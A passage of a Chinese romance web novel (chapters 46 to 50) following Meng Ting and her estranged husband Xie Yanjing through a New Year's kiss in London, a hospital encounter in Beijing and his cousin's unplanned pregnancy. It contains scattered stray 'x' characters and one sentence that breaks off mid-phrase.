也幸好她这会站在逆光的方向,于天晴没看到她脸上泛起的那阵潮红,不然她高低要去找个没人的地方降降温。 孟汀没再落笔了,写好了心愿,两人一人拽着一只氢气球,挤在熙攘的人群里。 两三个小时,从这头逛到那头,抽空再参加一些游戏,竟然也眨眼般的过去了。 到最后半小时的时候,所有人又聚集在了广场中央的那块大屏幕前,等着倒计时的那一刻。 没有雪的夜晚,夜空非常明净,难得的冒出了几颗星,像是耀眼的钴钻般,镌刻在墨蓝色的空中。 这里有来自世界各地的面孔,欧洲人,亚洲人,美洲人,成年人,学生,小朋友,热恋中的情侣,步入人生黄昏的老人……大家说着不同的话语,脸上的表情却都是同样的兴奋,热切地期待着新一年的到来,属于这个世界的新一年,属于他们自己崭新的一年。 孟汀低头给孟云溪发了几条消息。 两人从下午就一直断断续续聊着天。 福利院今晚有活动,孟云溪她说自己熬不住,吃了蛋糕后就回房准备睡了,让孟汀多给她拍点视频,她第二天起来的时候再看。 孟汀知道她一直很想看看这个世界,所以总是尽力留下一些这个城市独特的细节和瞬间。 每一座城市都有自己独特的味道。 京市的空气中总是弥漫着萧索和古旧的霜雪冷意,南城对她来说是永远也抛却不了的潮湿桂香,伦敦则是弥散着一种百年建筑与尘埃封存的那种淡淡的历史气息。 临近新年,古老的建筑在周围是一片热闹的海洋,又给这座城市添上了些别样的感觉。孟汀举起手机拍了一圈,直到转到一个不能转的角度时,才结束拍摄,给孟云溪发了过去。 将手机收了回来,搓了搓冻得有些红的手。 奇怪的感觉就是这时感受到的,左后侧的方向,很明显地有一道盯着打量的目光落在她身上。 她下意识地转过身,回看过去。 不远处,一个独身的男生,穿了件黑色的宽大夹克衫,鸭舌帽,双手松松垮垮地插在兜内,眼中的情绪却带着一种阴狠。 孟汀略显错愕地盯着他。 感受到孟汀注视过来的目光,他不仅没有躲,反而将眼睛眯地更仔细了些,像是将视线黏在她身上似的。 孟汀觉得浑身有些不自在,转过身找于天晴,没想到她此刻竟然不在身边。 她似乎因为接了个电话,没注意,让氢气球脱手了,正在人群中挣扎着往前,想把飘走的气球给拽回来。 孟汀心口晃了晃,也在簇拥的人群中往前走,准备靠近于天晴一点,告诉他她不是一个人。没想到此刻突然涌过来一群人,把她和于天晴的距离拉的更远了。 而那道目光,似乎依然沉沉地落在她这边,不仅如此,还一直追寻着她,似乎还动了脚步。 孟汀费力地往前走了走,从人山人海的缝隙中艰难地前行,耳边像是在打鼓似的,越来越清晰地听到自己心跳的声音。 可是她越走,离于天晴的距离却像是更远。惶恐占据了绝大部分位置,连呼吸也跟着不顺畅起来。 就在这时,手腕被x一个力度紧紧抓住。 她恍若步入陷阱的小兔,几乎是缩瑟着回了头。 但眼前的一切,让刚刚的恐惧天翻地覆。 高大的身份,像是树影一般覆下来。 谢砚京抖开一件长款的男士黑色羊绒大衣,将她整个人裹了进去。 她身量纤细,单薄,这件衣服尺码大,又宽,裹在她身上时,一点儿也不合适,将她那像是脉脉青山般凹凸的身形曲线全部遮掩住,只露出一张瓷白如玉的小脸,像是一只被保护起来的小白兔。 注视着她那错愕的表情,他语气很淡地开口,“我说了,你那件衣服不够。” 孟汀恍然若梦地看着他,恐惧烟消云散。 倒计时已经进入最后几分钟了。 “我没想到你会过来……” “你能跨年,我就不能跨?” 他静静注视着她,但比之方才,视线中多了几分沉意,像是在思索着什么。 孟汀没提刚刚的意外,他给她裹衣服时,她借着余光看过去,那个人似乎早已经消失不见了。 现场这么多人,或许只是视觉的错位而已。 应该是她想多了吧。 而就在沉思之间,原本黯淡的大屏幕忽然亮起了光,喧嚣的人群忽然沸腾了起来,她转过身,看到上面闪动着的数字倒计时。 “10——” “9——” “8——” “7——” 各个国家的人,用自己的语言做着倒计时,人潮汹涌,人群推搡着往前,让原本环顾着她的那个力量不是那样的明显。 “3——” “2——” “1——” 新年的钟声终于敲响,几道绚烂的烟花腾空,在夜空中炸出一片璀璨流光,孟汀放飞手中的气球,正仰头时,耳边忽然传来一个清落落的声音。 “新年快乐,孟汀。” 接着,一个沉沉的吻压下来,将她的世界完全覆盖住。 猝不及防,不可抗拒,他那双漆黑的眼眸像是被沉沉雾霭笼住,鸦黑的长睫缓缓垂下,在眼下落下一片淡淡的阴影。 孟汀彻底懵了,一时间不知道该做何回应。 不知道是不是感受到了她的茫然,那个声音又道:“这个吻,算我欠你,记你账上,可不可以?” 第47章 风从很远的地方吹来,将时间的年轮又往前转了个圈。 新年的钟声,欢呼声,烟花的炸裂声,混着他那冷清低沉的陈述声,瞬间灌入她的耳膜,像是一丛火,能将她的灵魂燃尽似的。 双臂被那个力度沉沉地禁锢着,唇线被狠狠地压下来,像是一场夏季暴雨兜头而来,躲无可躲,避无可避,璀璨的霓虹落在他们紧紧相拥的身影上,在地面上映出斑驳痕迹。 白皙的小脸上早就铺上了一层绯红,掌心因为无措,紧紧地勾着他的手臂,几乎要攥进他的肉里。湿濡的双唇已经发肿,他却没有丝毫要停下的意思。 没有人起疑,也没有人觉得怪异。 暮色下,拥吻的人很多,都渴望在旧历和新历交接的神圣一刻,给爱人留下最深沉,最纯粹,最热烈的爱意。 孟汀被他吻的满面通红,双腿发软,根本无处可逃。 他以那绝对掌控的力量揽着她,一只手攥着她的手腕,一只手揽着她的头,修长指尖狠狠。插。入她的发丝之间,细细软软的墨发如丝线般,在他指尖缠绵。 起初孟汀还想抵抗,后来,整个人就像是不受控制地沉入一片深不见底的海,五脏六腑都被海水灌满,连喘息都岌岌可危,更遑论逃走。 到最后,孟汀几乎已经处于放弃的状态,注视着他眼底像是暴风雨般的肆虐,沉沦进去。 没有人知道持续了多久,再次从那场虚妄中抽离出来时,她整个人都在那人的怀里了。 零点过后的气温太低,又起了阵风,大家匆匆忙忙的散场,她因为双腿发软整个人跌在她的胸前,他干脆直接拦了她一把腰,将她打横抱起。 流畅劲瘦的肌肉流淌着滚烫的温度,包容和接受着属于她所有的一切。 孟汀艰难地调整着呼吸,直到被抱进车里,才意识到发生了什么。 吻了。 她竟然又和他接吻了。 眼角还挂着方才溢出来的泪水,无论如何心绪也不能平静,几乎是一瞬间,她就扬起了手臂,掌心的方向直冲他的脸颊。 他看到了,也感受到了,可是丝毫没有要躲的意思。 他为什么永远都是那么自以为是。 他有什么资格能代表她,又有什么资格代表欠与不欠。 火气其实早在刚刚就泄了,怨恨也好,愤怒也罢,其实早都被那长久的吻给激散,愤怒被稀释,更多的是一种难言的潋滟。 最终还是孟汀自己败下阵来,虚软的手臂物理地垂下来,闭着眼默默流泪,也就是这一瞬间,脖颈被一个力量桎梏住,一个吻再次落了下来。 那个力量太强,她整个上半身都被狠狠抵在座位上。 她狠狠踹了他一脚。 * 车子行驶到公寓门口时,孟汀几乎看都没看他一眼,就摔开车门,扬长而去。 房门“嘭”的一声被关上,丝毫没有留恋的痕迹。 坐在前面的李叔被这一声吓得心脏怦然,缓过神来,才悻悻地往后座看了眼。 沉默半晌后,李叔开口道:“先生,您今晚还要陪着汀汀小姐吗……” 车后的光线很暗,男人清隽的面容隐在暗处,透着种出尘的冷感。他自上车后就一直沉默着,此刻上半身微微塌着,没什么情绪地靠在椅背上,微阖眼皮,“你没看到她那将我除之而后安,而后快的表情吗?” 李叔:“……” 一阵冷寂。 谢砚京低下眼眸,轻启薄唇,咬了根烟。 银质的火机“吧嗒”一声,橘红色的烟火,映着漆黑的眼眸,像是能将那片暗淡点燃似的。 他指尖夹烟,斜斜地靠着车窗,清白烟雾飘出窗外,被风卷着飘到远处,消散在这靡靡夜色中。 他抖了抖烟灰,将最后一点星火碾灭在手边的白瓷缸,望着二楼的灯光熄灭之后,才淡声开口:“派两个保镖过来吧。” 刚好他有些事情要确定,他的担心,其实不只是因为宋思明。 * 谢砚京派来的那两位保镖并没有执行多久的任务,孟汀楼下的余琳和赵一茜就回来了。 她们三个正常上下学,一起吃饭,一起逛街,赵一茜甚至花了笔巨款,连锁带门一起换了。 正如赵一茜塔罗牌所言,孟汀的期末考试确实遇到了点阻碍。 这几天发生的事情太多,导致她的小组作业完成度比其他人低了不少,好在她随堂考试的成绩不错,多少弥补了一部分差距。 紧张的期末考试结束后,一月初,春季学期开始的第一周,孟汀却请假回国了。 剑桥的教授发来消息,孟云溪的手术时间已经确定,就在三月的第一个周末。 因为涉及跨过医疗技术合作,孟云溪出国需要的材料比普通人复杂不少,孟汀便买了张当天的机票赶了回去。 到了最后几个月,不仅是程序复杂,体检要求也格外严格,处理完文书部分的工作,孟汀又和孟云溪一起到京州医院体检。 孟云溪学校还有课,体检结束后,孟汀先给她送回学校,她则回到医院等剩下的几份体检报告。 国际部人不是很多,孟汀坐在休息区,正直午休时间,身旁只有一位独自来看诊的奶奶。 老人的智能手机不知道出了什么问题,无论如何都开不了机,便拜托孟汀查看了下问题。 孟汀和老人一起研究了下,原来是租赁充电宝的工作人员疏忽,给了她一个接口坏掉的充电宝,导致充不进去电而关了机。 孟汀带着她去楼下重新更换,手机界面重新亮起时,老人才松了口气,颇为感慨地对孟汀道:“这个社会发展太快,我们这些人到底是老了,再努力追赶,也显得很吃力。” “所以每次出门,都要先焦虑一阵,生怕自己哪里出了差错惹人笑话。” “但现在的年轻人真好,碰上小姑娘你是个好人,来时在门口碰上个精干的小伙子,也是个好人。”老人笑眯眯地讲述着自己的经历。 “他自己也知道是怎么伤了,我找电梯不小心撞到了他,他不仅没生气,还找了个工作人员专门给我指路。” 孟汀安静地听着,还没等到后续呢,老人的目光忽然往不远处一定。 接着,她拉了拉x孟汀的手腕,脸上的兴奋不言而喻:“就是不远处那个小伙子,你看长得帅不帅?” 孟汀目光一扬。 然后也跟着定住。 不远处的男人,长身玉立,轮廓清落,正侧着身,神情凛冽地从诊室里走出来。 孟汀怔了怔,没想到来趟医院都能碰上谢砚京。 但他的状态看上去确实不好,脸色比平日里苍白不少,一缕黑色的碎发贴在额头,平日里一尘不染的衬衫,今日竟然落了灰,也不知道被怎么伤到的,右侧的头部用纱布简单包裹。 孟汀以为远远地看一面就够了,没想到老人竟然兴奋地朝那边招了招手,笑眯眯地喊话:“小伙子,伤口已经处理好了吗?” 那道宛如实质般的目光很快落了过来。 不仅如此,孟汀再次抬眼时,他竟然径直走了过来。 她怔了一瞬,连忙往后退了几步,准备给两人让出说话的位置,没想到这时,大屏幕上叫到老人的名字,让她进诊室就诊。 老人进去之后,这一片区域越发安静。 缓步走过来那人,面上一如既往地看不清情绪。 冷白的灯光落在他那双黑眸当中,明明他是病人,此刻却偏了偏头,凝着眉看向她手中抱着的检测报告,语气里透着点担心:“哪里不舒服?” “没……”孟汀讪讪地低下头,没有对上他的目光。 那天不欢而散之后,两人没再联系过,只是某天起床时,孟汀看到两人的对话框里,有一条他撤回的消息,大概在凌晨三点钟。 也不知道内容是什么。 “是小云的报告。” 孟汀整理了下手中的文件,想到曾经邮件的事情,只简单地回了一句。 谢砚京点了下头,看她没有想接话的意思,跟着默了一会,才道:“我是被柜子砸伤的。” “书桌上面那个柜子,无缘无故掉下了来,没来得及躲过去。” 孟汀:“……” 她没办法,只能抬头看了眼他, 还没看清楚呢,不远处匆匆走来一个小护士,一看到孟汀就把一张表格塞到了她的手里。 “你就是患者家属吧?这里有个字需要签一下。”大概手上工作很多,她语速很快地交代,“按理来说,这样的受伤状况,我们医院是建议留下观察的,但是被患者拒绝了,因此由此造成的风险,需要告知你们家属。” 孟汀本来还想拒绝,直到看到他档案中信息那一栏的家属信息。 四五行空格,只填了孟汀一个名字,在空荡荡的区域里,显得尤为明显。 孟汀眉心动了动,最终还是拿起了笔,在上面签了字。 表格递了过去,小护士刚走了两步,忽然想起什么似的回过头,“女士,您联系方式这一栏没填,您报了一下号码吧。” 孟汀还没反应过来。 那道低沉的声音已经流畅地开口了。 “139xxxxxxxx。” 孟汀一滞。 这么久了,他还这么清晰地记着她的手机号吗? 第48章 护士拿到表格后就离开了。 一楼的办事窗口处,孟汀取报告,谢砚京取药。 发药的工作人员看两人一起过来,定医嘱时也下意识给两人一起说。 “家属换药时一定要注意,千万不能沾水,以防伤口感染,若是出现发热,伤口疼痛加剧的症状,立刻就医。” 孟汀一不小心就听了一耳朵,听完后就后悔了,因为谢砚京将一盒药塞到了她的怀里。 “有种喷涂的药物要十分钟后使用,李叔去帮我拿电脑了。”他垂眸看了她一眼,意思不能再明显。 孟汀怔了怔,最终还是心软了,“好吧。” 这个点,各个科室都开始上班了,病人也陆陆续续到了,大厅里人很多,孟汀只能跟着他去了停车场。 后座上,他熟练地脱下西装外套,又扯了下领带,领口处两颗纽扣散开,露出里面薄薄一层肌肉线条。 步骤很简单,孟汀用一分钟看完了说明,又用一分钟完成了操作。 将纱布包裹好之后,她本来想着给他讲一下操作步骤,没想到眼前的男人一点儿也没有想要学习的意思,只是轻抬手腕,慢条斯理地整理了下衣袖。 这个间隙,李叔也回来了,对于后座突然出现的孟汀,他并没有表示出太大的惊讶,礼貌地同她打了个招呼之后,询问起谢砚京的伤势。 谢砚京颇为不耐地同他讲了两句,显然一点儿也不把这伤当回事。大概是不想影响接下来的行程,他戴了顶方形的黑色礼帽,倒也看不出来什么,反而和他那身暗色的呢子大衣更搭了。 李叔只好将目光转向了孟汀。 孟汀耐心地同他解释了一遍,最后问:“梁大夫不知道这个事吗?他过来岂不是更方便?” 在她的印象中,谢砚京很少会来公立医院,通常情况下,这种伤也应该是梁叙过来处理才对。 结果就是她这句话甫一出口,整个车内都安静了下来。 李叔面露尴尬,下意识地去打量谢砚京的目光,谢砚京神色倒是很平淡,但眼底明显比刚才暗了不少。 孟汀心中一顿。 她知道,这是他情绪不佳的象征。 她很明显地感受到自己像是触碰到了某种禁忌,下意识地攥紧了手袋的链条。 幸而氛围没有凝滞多久,孟汀的手机响了起来。 这通电话无异于一根救命稻草,她想都没想就直接抓住了。 但情况似乎并没有好转,那边传过来第一声时,谢砚京眼底的墨色更深了。 是谢书语。 她的语气毫不再像往常那样活泼明朗,显得又焦虑又急迫,“嫂子,你这周是不是回国了?我能不能见你一面,这次我是真的挺不下去了……” 孟汀握着手机的指尖有些泛白,不出意外的话,谢书语的急切应该和谢砚京有关。 感受到谢砚京的目光,孟汀下意识地局促。 她吞咽一下,小心翼翼道:“有什么事吗?” 谢书语:“你现在在哪儿?我这就过去。” 孟汀张了张嘴,却没有出声,她感觉到她情绪不太对,反过来问:“你在哪儿?我去找你吧。” 谢书语的语气立刻充满了感激:“真的吗?如果你能来就太好了,我就在望公馆。” 孟汀顿了下,直到耳边响起男人淡淡的声音:“李叔,送她去望公馆。” 李叔:“那您呢?” 谢砚京没什么情绪地回:“去那里吧。” 半个小时后,车子将孟汀放在望公馆门口,然后径直驶出,前往一个她不知道的目的地。 望公馆和记忆中没有多少差别。 冬日里的庭院多了几分萧索,红枫上坠着几片枯萎的叶,角落里的腊梅开的倒是很旺盛,晶莹透骨,风一吹,清冷的香味便扑面而来。 她走进一楼的客厅,没听到谢书语的说话声,四周很安静。 她的拖鞋放在玄关处的鞋架上,打理的干干净净,进门时擦手的毛巾,常用的湿巾,还有随手挂在衣架上忘记拿走的包挂,完全没有变动。 就像她从来没有离开过一样。 非要说有什么不同,就是客厅的角落里放了一个大的水族箱。 里面养着的,是她在游轮上买到的那两条小鱼。 比起在游轮上那个小小的风铃,这里简直就是天堂。 方形的水族箱,又宽敞又明亮,里面是非常漂亮的海底造景,各色各样的珊瑚,植物茂盛生长,用来充氧的流水宛若一条流动的瀑布,顺着假山石往下流,某种不知道的小花从石头的缝隙里长出,彩色,斑斓。 两只小鱼在里面自由自在的游动着,她下意识地抬步过去,仔仔细细地打量了着。 两只小鱼都比从前大了一圈,单看游动的姿态,就知道他们被照顾的很好,在这儿生活的很幸福。 孟汀定定地看着两条小鱼,喉咙细微的吞咽一下,几乎下意识地伸出指尖,轻轻触碰上去。 没想到那条蓝色的小鱼,不仅没有害怕,反而更靠近了些,对她很好奇似的。一人一鱼大眼瞪小眼,竟有种莫名的和谐。 直到一阵脚步声传来,才让她错开了目光。 是云姨。 她看到孟汀回来,她脸上的表情显得很激动。 孟汀也弯起一个笑,喊人,“云姨。” 云姨很开心,但碍于谢家的规矩,没有多寒暄,只是道:“二小姐在楼上等着您,她现在……不太方便下楼,可能要麻烦您上去了。” 孟汀眸光微动一下,但没有多问,便跟着云姨上了楼。 那是二楼的一间客房。 推开门的瞬间,孟x汀看到半靠在床上的谢书语。 孟汀从未见过这样的谢书语,她从来都是开朗的,耀眼的,明媚的,富贵小公主一般的存在,但今天却让人觉得单薄,脆弱,像是一碰就能碎掉似的。 看到孟汀进来,嘴角扯起那一丝艰难的笑容,才稍微回到点以前的样子,“嫂子……” “我不太舒服……” “本来还想着去见你,麻烦你跑一趟过来了。” “我没事,”孟汀走到她身旁,刚一坐下,双手被谢书语紧紧握住。室内温度很高,但她的手却很冰凉。 孟汀:“你怎么了?” 孟汀感受到她握着她的双手在颤抖,只见她抿了抿唇,似乎在努力做着心理建设,半晌之后,才下定决心,对着孟汀扯出一抹艰涩的笑,“嫂子,事到如今,我也不瞒着你了。” “我……”她咬了咬唇,开口道,“怀孕了。” 孟汀怔完全怔住。 来的路上她心中就有了某种猜测。谢砚京的愤怒从来都是层次分明的,她猜测谢书语一定是做了非常破格的事情才会惹怒他,但根本没想到会是怀孕。 她其实可以理解他。 谢书语毕业不到一年的时间,虽然已经二十四五,但是心智依然单纯的像个小孩子,连婚姻这种事情仿佛都离她很遥远,更何况怀孕生子。 这一年的时间,两人虽然没有见过面,但是孟汀偶尔会看看社交媒体。 看谢书语的生活状态,完全没有在谈恋爱或者相亲或者准备联姻的样子。 孟汀抿了下唇,试探着开口:“是……因为意外吗?” “是也不是吧。”谢书语苦笑一下,“那个人你认识。” 孟汀面露疑惑。 “叫梁叙。” 这一下,孟汀是真的被震惊到。 梁叙。 感受到孟汀眼中的不解、疑惑和震惊,谢书语轻声道,“就是你想象中的那个人,我大哥为数不多的称得上朋友的人,他的同学,私人医生,梁叙。” 谢书语又断断续续地说了许多。 孟汀也从她的话语中慢慢拼凑出梁叙的经历。 原来他和谢砚京的情谊并不是意外,他母亲是谢园帮忙的梁姨,父母离异后,他一直跟着母亲生活在谢园,也算是在谢园长大的孩子。 谢园很大,青砖木瓦和亭台楼阁不过是华丽的假象,在里面待过的人,才知道这其中涉及的人情冷暖有多么复杂,谢砚京这样的长子尚且经历过不少不为人知的辛苦,更何况一个保姆的孩子。 大概也是这样的处境,磨炼出他惊人的毅力。少年时期他足够优秀,无论是成绩,还是能力,一直走在同龄人之前,大概也是因为这一点,慢慢拉近了他和谢砚京之间的距离,让他成为谢园中,比同龄叔侄兄弟还要更亲密的同伴。 也因此,总是跟在谢砚京身后的谢书语和他熟知。 大概情愫就是那时产生的,只是这样的感情,他从未宣之于口过。 他对她的关心,一直隐藏在自卑的影子里。 一个是世家的大小姐,一个是跟着母亲艰难讨生活的穷小子,就算他后来升入名校,拥有光鲜亮丽的履历,体面的职业和收入,依然不能掩盖这一 他和谢书语其实一直有联系,但一直维持着距离,直到那次,谢书语因为失恋,喝醉了酒,主动将电话打给了梁叙。 “嫂子,他对我的好,这么多年,我也能感受到,但是我没想到,他对我的情愫会那么深,大概也是酒精的作用,所以那天……” “我知道了。”孟汀适时打断她的话,不让她继续说下去。谢书语陷入的情绪太深,什么话都能说出来,但她不能听。 谢书语明白她的意思,停顿一下才继续:“我一直以为那天的一切是个意外,但是后来,清醒过来,我发现,自己好像完全忘不了他。” “后来,我们见面的次数多了起来,只是大多数都是我联系他而已,对于这段感情,他比我陷入之深有过之而无不及,可他的性格你也知道,我不得不用一些特别的办法……” “所以我也没想瞒着别人,但那天,我大哥当着我的面,直接带走了梁叙,他到现在还没有一点儿消息,我真的是没办法了才想到要找你帮忙的,嫂子,你帮帮我好不好……” 孟汀沉默地听着。 难怪在上车时她提到梁叙的名字让一切陷入沉默,难怪他会独自去医院就医,他不是不谨慎的人,能被意外伤到,怕也是因为这件事心不在焉。 换做哪一个哥哥都会接受不了的吧,更何况是谢砚京那样事事追求完美,不允许有任何污点的人。 唯一的堂妹未婚先育,惹出祸端的还是自己多年的朋友,无论谢书语怎么开脱,造成的结果摆在眼前,而且很大程度上,这是某种不负责任的象征。 孟汀一时间有些无言以对。 谢书语:“我知道麻烦你开口不容易,可是我已经尝试过很多办法了,大哥他根本不松口,你了解我大哥,他有多固执,脾气有多硬你也是知道的,他手段那么强硬,一定会狠狠地弄梁叙……” 她抬起了头,眼中的情绪不言而喻。 听谢书语这么说,孟汀更不知道该怎么办了。 她印象中的梁叙,和谢砚京几乎是两个极端。 谢砚京偏执,强势,霸道,性子又冷又硬。梁叙则是温和的,耐心的,成熟有分寸,她几乎没看过他有发火的时候。 可是她到底是个局外人。置身事外的人,对感情这种事情更是无法评判,她不知道梁叙对谢书语的感情到底到了哪种地步,也不知道他一直以来的态度,更何况,她现在的身份,也不合适。 她根本没办法答应她。 谢书语看她沉默,微微抬了下语调,里面带着一丝焦急:“嫂子——” 孟汀默默在心中叹了口气,最终狠下了心,抬头看了眼谢书语。 “小语,不是我不想帮你,”她犹豫了几秒,然后抬起头,轻声道,“我和你大哥,就要离婚了。” 谢书语怔了下,以为自己的耳朵出了什么问题:“什么?” 说出这两个字,孟汀心中反而镇定了些,她露出一个无可奈何的笑,又一字一句地重复了一遍:“我们已经分居了一整年了,等到今年过去,就可以办离婚了。” 谢书语依然不相信这是孟汀说出的话,目光透着彻底的茫然。 她觉得最不可能离婚的两个人,竟然要离婚? 第49章 谢书语知道孟汀出国一年多,她以为两人不过是暂时闹了点矛盾而已,两个人都那么要强,等到一方想通了,一切就会复归正常。 她觉得孟汀给人的感觉永远是安静的,温柔的,像是春夜里扑面而来的晚风,亦或是初夏时节淅沥的小雨,只要不涉及底线问题,她更多是随遇而安,连脾气都不会发。 因此“离婚”这两个字从她嘴里说出,谢书语完全难以置信,甚至都有些忘记了自己找她过来最初的意图。 “嫂子,你不是在开玩笑吧?”谢书语顿了下,像是完全没有从震惊中回过神来似的,“你……要和我大哥离婚?” 孟汀垂下眼眸,原本握着谢书语中的手从半空中垂落,沉默着点了点头。 两人之间的空气陷入一片凝滞。 “怎么会这样?” “这真的是你们深思熟虑的结果?” 半晌之后,谢书语还是无法理解般的再次开口:“我大哥他明明那么喜欢你……” 孟汀在心中叹了口气。连谢书语都是这么觉得,她又向谁能解释的清呢。 她只能轻轻摇了下头,“我们之间的事情,有些难说,但无论如何,还是走到要结束的那一步了。” * 孟汀从望公馆走出来时,谢砚京的车子刚好行驶到了目的地。 京郊,云岩寺。 朱红斑驳的院门吱呀一声打开,冬日里寒风阵阵,垂落了枝头枯败的枝叶,却吹不透那门前立的两棵高大威压的柏树。 古树参天,飞鸟林立,远山蒙在浅淡的天光之下,屋顶的琉璃鸱吻泛着耀眼的光。 院内,用来祈福的红绸随风飘扬,院落深处的佛塔静静矗立着,不远处传来一声又一声的钟磐声,隔着高大的殿宇传来,余音绕梁,肃穆庄严。 谢砚京踏着地上的碎叶进门。 这座庙宇建于明朝初年,栉风沐雨已经过了六百余年。传说是圣祖流亡时的落脚之地,所以很多年来都被当做皇家寺院修筑。 改朝换代之后,香客渐少了x些,倒也清净。 谢砚京绕过大殿,走入最后一排寺庙的禅房,然后在紧闭的房门前短暂驻足。 感受到房内的寂静,他漆黑的眼眸往下一沉,眼底压着一抹很明显的不耐:“他还是不肯吃东西?” 李叔感受到他眸光中的不善,压着嗓音,努力让声音镇定下来:“听寺里的师傅说,已经快三天了,这样下去,不行啊……” 冷寂空气中响起一道凉薄的嗓音:“他是医生,死不死的,自己清楚。” 他盯着门板又望了会儿,冷着声吩咐:“去敲门。” 李叔应了一句,立刻往前走了两步,颇为礼貌地敲了三下。 没有回应。 谢砚京眉目很明显地皱了下,情绪又跟着冷了几分。 李叔又继续敲了敲,便被一道不耐烦的声音打断:“用点力,实在不行直接踹开。” 李叔简直要冒冷汗了,佛寺这样的清净之地,也只有他敢这样毫无顾忌地开口。 不知道是不是也被这句话触动到,李叔抬手准备再次敲门时,门吱呀一声,终于打开,露出一张过分疲惫的面容。 谢砚京阔步而去,一言未发地推门而入。 里面的情况比他想象中好了许多。 房间里收拾的还算整齐,一点儿也看不出他在里面生活了三四天的痕迹。 房间不大,靠窗的位置摆着一方宽阔的黄花梨木桌,笔墨纸砚,一应俱全,桌旁的书架上面书卷累累,脚边的画缸里插着几卷字画。而除此之外,香炉里没有燃香,桌面上的插瓶也空空荡荡,除了整洁,毫无生气。 这是谢砚京在云烟寺的固定禅房。 他并不是佛教信徒,来这儿静心,是多年前他的老师,王老先生的强制要求。 他在学校内主修政治经济学,而在这条路上能走的长久的人,除了需要过人的学识,敏捷的思维,更需要的是老练深沉的心境,对事态洞若观火的探查和举重若轻的处事方式。 谢砚京几乎和这些完全相反。 他言辞犀利狠辣,态度强硬霸道,他对人情的探究不是用来理解他人的,而是来操控他人,以达到强势的压制。长此以往,必然会树敌颇多。 这对他的发展绝对不是好事。 也因此,王老先生才会强硬地让他来此处精心。 这么多年,佛学的慈悲,戒、定、慧,不知道学进去多少,只因这个地方足够安静,倒是被他纳入常来的居所。 “你来了。”梁叙气弱着来了这么一句,只是看到他额头上的伤,颓败的目光才稍微有点反应。 但注意到谢砚京并没有要讨论伤势的意思,也没敢轻易开口。 谢砚京则绕过他坐在桌前,冷漠地盯着他,绕深邃的眼眸里压着肉眼可见的威严。 室内顿时静的落针可闻。 半晌之后,端坐在桌前的谢砚京才终于开口:“你还要意志消沉到什么时候?” 梁叙被关在这里,其实不能称是谢砚京的手笔。更多的,是梁叙自己的意思。 他们少年相识,又在大学时同窗,对彼此的了解甚至比家人还要深刻,让谢书语陷入“未婚先育”这样难堪的境界之中,谢砚京对他自然有气,但他更气的是,他竟然在得知这一切时,选择了逃避。 听到谢砚京的话,梁叙默了下,平日里那张温润的面庞,此刻苍白的有些不正常,半晌之后,才喑哑着开口:“这件事不是我能决定的……” 谢砚京没吭气,很明显让他进一步解释。 梁叙苦笑一下:“我和小语在一起,就是个错误,是没有认清自己的位置,是我丧失了理智,才造成了不可逆转的后果……” “所以,”谢砚京冷冷地注视着他,“现在无论是孩子,还是孩子母亲,你都要选择抛弃吗?” “不是我要抛弃她!”梁叙深深的看向他,不知道是不是被他的话刺到,语调突然升高了些,“是我根本配不上她,自然也没有资格提抛弃不抛弃。她是谢家的大小姐,她生来就是追求极致的,无论是生活、人生还是爱情,和我的人生根本不应该有交集,她跟着我,会变成被排斥的人,谢家不会允许我们在一起。” “从前我可以在你的庇护之下,但是她的亲人会怎么看,朋友会怎么看,就算孩子生下来,也也会拥有一个让他永远耻辱的父亲。” 梁叙说的很尖锐,几乎要将自己的最后一点体面也撕碎。但这个孩子,其实更多的是谢书语的一厢情愿。 那已经是两人正式交往的第三个月,谢书语将梁叙约到酒吧,那天谢书语心情不好,多喝了两杯,梁叙平日里滴酒不沾,酒量就更差劲,没喝两杯就醉了。 可他明明记得自己强撑着意志做了措施…… 但说到底,也是他不负责任,如果他足够小心,至少应该像谢砚京一样,在一切不成熟时,为了不让对方冒风险,事前自己吃药。 “说够了吗?” 片刻安静后,一直保持着沉默的男人再次出声。 他轻抬眼眸,很淡地看过去:“这就是你的所有理由?” 梁叙怔怔地看着他,半晌之后,才艰涩地开口:“阿砚,连你也觉得我是在敷衍吗?” 谢砚京起身,平视着他。 其实两人的身高并不是差多少,但是这么多年来,上位者的身份让他形成一种足够的威压,就像他用足够平静的情绪,也能形成某种强大的压迫。 只见他慢条斯理地理了理衣领,将一切都整理到无可指摘地程度,才再次将目光落在他的身上。 “照你这么想,我和孟汀,是不是也不该在一起?”他慢慢靠近了些,清隽的面容扯出极冷漠寡淡的一哂。 梁叙从来没有想过要牵扯他和孟汀,但是这种天然的重合不可避免的被提到。 梁叙空洞的眼神怔然地望着他,根本不知道该作何回答。 谢砚京没有也并没有给他回话的机会,他滚了滚喉结,漠然地注视着他,眼底压着一层沉郁,沉冽地开口:“在我看来,世界上只有一种感情不配有结局。” 梁叙怔怔地望着他。 谢砚京睨着眼眸,淡声道:“爱得不够。” 这世上一切走不到终点的感情,皆因为爱得不够。 爱得不够,便不配得到,不配拥有。 如此平淡的一句话,却像是一根刺一般,深深地戳破梁叙的迷茫和无措。 微风吹过窗棱,发出吱呀的声响。 厚重而肃穆的钟磐声,穿过威严的庙堂,一声一声地传入耳中,一片飞鸟从头顶仓皇掠过。 谢砚京没再浪费时间,留下这句话就径直离开了。 在那道身影完全离开视线之后,梁叙终于坚持不住,跌坐在一旁的圈椅上。 唇角不自觉的抖动两下,却发不出任何声音。 他从前以为的身世,地位,身份,或许从来都不是困住他的枷锁,他消沉,自卑,逃避,也从来不是正当理由。 原来只是因为他爱得不够,或者,叫做他不知道如何全力去爱。 谢砚京因为足够爱,才会舍弃一切,才会拼尽一切,哪怕在旁人眼里变成偏执,哪怕欺山赶海踏雪径,也要把她留在身边。 第50章 从孟云溪的学校出来后,孟汀接到了大学班长的电话。 班长是班里为数不多的男生,叫路陈阳,打电话询问孟汀最近在不在京市,她们的班主任岑佩老师这个月要退休了,想召集些同门给老师办个退休宴。 孟汀算了下时间,刚好错开回英的时间,便同意了。 她联系了徐倩,不巧的是剧团这几天刚好在外演出,她没办法过来。 岑老师在任上时兢兢业业,认真负责,尤其大三大四时,在所有人最迷茫最无助的两年中,给予了班上同学最无私最真挚的关爱。 这次活动是同学们自发组织的,岑老师得知后,为了不让大家破费,让班长取消了餐厅的预约,直接将聚会地点定在了她们家。 孟汀到的时候,客厅里已经站了不少人。 岑老师面积还算大,她本人也非常细心,早在大家来之前,就将那些占位子的家具挪开了,容纳十几个人也完全不在话下。 有师兄师姐,也有师弟师妹,孟汀因为在学校时做过两年的学生工作,所以大部分人都还算熟悉。 